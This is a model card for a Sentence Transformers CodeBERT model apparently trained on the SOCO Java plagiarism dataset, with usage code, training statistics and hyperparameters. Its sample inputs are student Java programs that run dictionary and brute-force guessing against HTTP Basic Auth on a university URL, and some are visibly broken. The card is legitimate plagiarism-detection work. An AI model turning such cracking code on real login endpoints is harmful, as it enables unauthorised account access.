Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity + + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST") +# Run inference +sentences = [ + '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n private String myUsername = "";\n private String myPassword = "";\n private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n public static void main (String args[])\n {\n Dictionary d = new Dictionary();\n }\n\n public Dictionary()\n {\n generatePassword();\n }\n\n \n\n public void generatePassword()\n {\n try\n {\n BufferedReader = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n \n {\n myPassword = bf.readLine();\n crackPassword(myPassword);\n } while (myPassword != null);\n }\n catch(IOException e)\n { }\n }\n\n\n \n\n public void crackPassword(String passwordToCrack)\n {\n String data, dataToEncode, encodedData;\n\n try\n {\n URL url = new URL (urlToCrack);\n\n \n\n dataToEncode = myUsername + ":" + passwordToCrack;\n\n \n\n encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n URLConnection urlCon = url.openConnection();\n urlCon.setRequestProperty ("Authorization", " " + encodedData);\n\n InputStream is = (InputStream)urlCon.getInputStream();\n InputStreamReader isr = new InputStreamReader(is);\n BufferedReader bf = new BufferedReader (isr);\n\n \n {\n data = bf.readLine();\n System.out.println(data);\n displayPassword(passwordToCrack);\n } while (data != null);\n }\n catch (IOException e)\n { }\n }\n\n\n public void displayPassword(String foundPassword)\n {\n System.out.println("\\nThe cracked password is : " + foundPassword);\n System.exit(0);\n }\n}\n\n\n', + '\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String strFilepath;\n private String strCurrWord;\n private File fWordFile;\n private BufferedReader in;\n \n \n public PasswordFile(String filepath) {\n strFilepath = filepath;\n try {\n fWordFile = new File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n }\n catch(Exception e)\n {\n System.out.println("Could not open file " + strFilepath);\n }\n }\n \n String getPassword() {\n return strCurrWord;\n }\n \n String getNextPassword() {\n try {\n strCurrWord = in.readLine();\n \n \n \n }\n catch (Exception e)\n {\n \n return null;\n }\n \n return strCurrWord;\n }\n \n}\n', + '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n \n static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n \n private int indices[] = {0,0,0};\n \n private String url = null;\n\n \n public BruteForce(String url) {\n this.url = url;\n\n }\n \n private int attempts = 0;\n private boolean stopGen = false;\n \n public String getNextPassword(){\n String nextPassword = "";\n for(int i = 0; i ");\n System.exit(1);\n }\n\n BruteForce bruteForce1 = new BruteForce(args[0]);\n try{\n Calendar cal1=null, cal2=null;\n cal1 = Calendar.getInstance();\n System.out.println("Cracking started at: " + cal1.getTime().toString());\n String password = bruteForce1.crackPassword(args[1]);\n if(password != null)\n System.out.println("\\nPassword is: "+password);\n else\n System.out.println("\\nPassword could not retrieved!");\n cal2 = Calendar.getInstance();\n System.out.println("Cracking finished at: " + cal2.getTime().toString());\n Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");\n System.out.println("Total attempts : " + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n }\n }\n}', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities.shape) +# [3, 3] +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### Unnamed Dataset + +* Size: 33,411 training samples +* Columns: sentence_0, sentence_1, and label +* Approximate statistics based on the first 1000 samples: + | | sentence_0 | sentence_1 | label | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-----------------------------------------------| + | type | string | string | int | + | details |
  • min: 61 tokens
  • mean: 471.36 tokens
  • max: 512 tokens
|
  • min: 61 tokens
  • mean: 491.01 tokens
  • max: 512 tokens
|
  • 0: ~99.50%
  • 1: ~0.50%
| +* Samples: + | sentence_0 | sentence_1 | label | + |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| + |
public class ImageFile
{
private String imageUrl;
private int imageSize;

public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}

public String getImageUrl()
{
return imageUrl;
}

public int getImageSize()
{
return imageSize;
}
}
|



import java.net.*;
import java.io.*;
import java.util.Date;

public class MyMail implements Serializable
{



public static final int SMTPPort = 25;


public static final char successPrefix = '2';


public static final char morePrefix = '3';


public static final char failurePrefix = '4';




private static final String CRLF = "\r\n";


private String mailFrom = "";


private String mailTo = "";


private String messageSubject = "";


private String messageBody = "";


private String mailServer = "";


public MyMail ()
{

super();
}


public MyMail ( String serverName)
{

super();


mailServer = serverName;
}


public String getFrom()
{
return mailFrom;
}


public String getTo()
{
return mailTo;
}


public String getSubject()
{
return messageSubject;
}


public String getMessage()
{
return messageBody;
}


public String getMailServer()
{
return mailServer;
}


public void setFrom( String from )
{

mailFr...
| 0 | + |
import java.util.*;
import java.net.*;
import java.io.*;
public class WatchDog
{
private Vector init;
public WatchDog()
{
try
{
Runtime run = Runtime.getRuntime();
String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
Process result = run.exec(command_line);
BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
String inputLine;
init = new Vector();
while ((inputLine = in.readLine()) != null)
{
init.addElement(inputLine);
}

}catch(Exception e)
{
}
}
public static void main(String args[])
{
WatchDog wd = new WatchDog();
wd.nextRead();
}

public void nextRead()
{
while(true)
{
ScheduleTask sch = new ScheduleTask(init);
if(sch.getFlag()!=0)
{
System.out.println("change happen");
WatchDog wd = new WatchDog();
wd.nextRead();
}

}
}
}
|

import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary{

private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;



public Dictionary() {

Authenticator.setDefault(new MyAuthenticator ());

startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{


}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) ...
| 0 | + |
import java.util.*;
import java.net.*;
import java.io.*;
public class ScheduleTask extends Thread
{

private int flag=0,count1=0,count2=0;
private Vector change;
public ScheduleTask(Vector init)
{
try
{

Runtime run = Runtime.getRuntime();
String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";
Process result = run.exec(command_line);
BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
String inputLine;
Vector newVector = new Vector();
change = new Vector();
while ((inputLine = in.readLine()) != null)
{
newVector.addElement(inputLine);
}
if(init.size()>newVector.size())
{
for(int k=0;k {
if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
ch...
| import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
public static void main (String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
String password="";
int requests=0;

try
{

FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);

password=buf.readLine();

while (password != null)
{

if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}

password = buf.readLine();

}
}
catch (IOException ioe)
{

}

return password;
}

private static boolean testPassword(String password, double startTime, int requests)
{
try
{


U...
| 0 | +* Loss: [BatchAllTripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `multi_dataset_batch_sampler`: round_robin + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: no +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.0 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: False +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: batch_sampler +- `multi_dataset_batch_sampler`: round_robin + +
+ +### Training Logs +| Epoch | Step | Training Loss | +|:------:|:----:|:-------------:| +| 0.2393 | 500 | 0.1875 | +| 0.4787 | 1000 | 0.1815 | +| 0.7180 | 1500 | 0.24 | +| 0.9574 | 2000 | 0.1596 | + + +### Framework Versions +- Python: 3.11.13 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.6.0+cu124 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + +#### BatchAllTripletLoss +```bibtex +@misc{hermans2017defense, + title={In Defense of the Triplet Loss for Person Re-Identification}, + author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, + year={2017}, + eprint={1703.07737}, + archivePrefix={arXiv}, + primaryClass={cs.CV} +} +``` + + + + + + \ No newline at end of file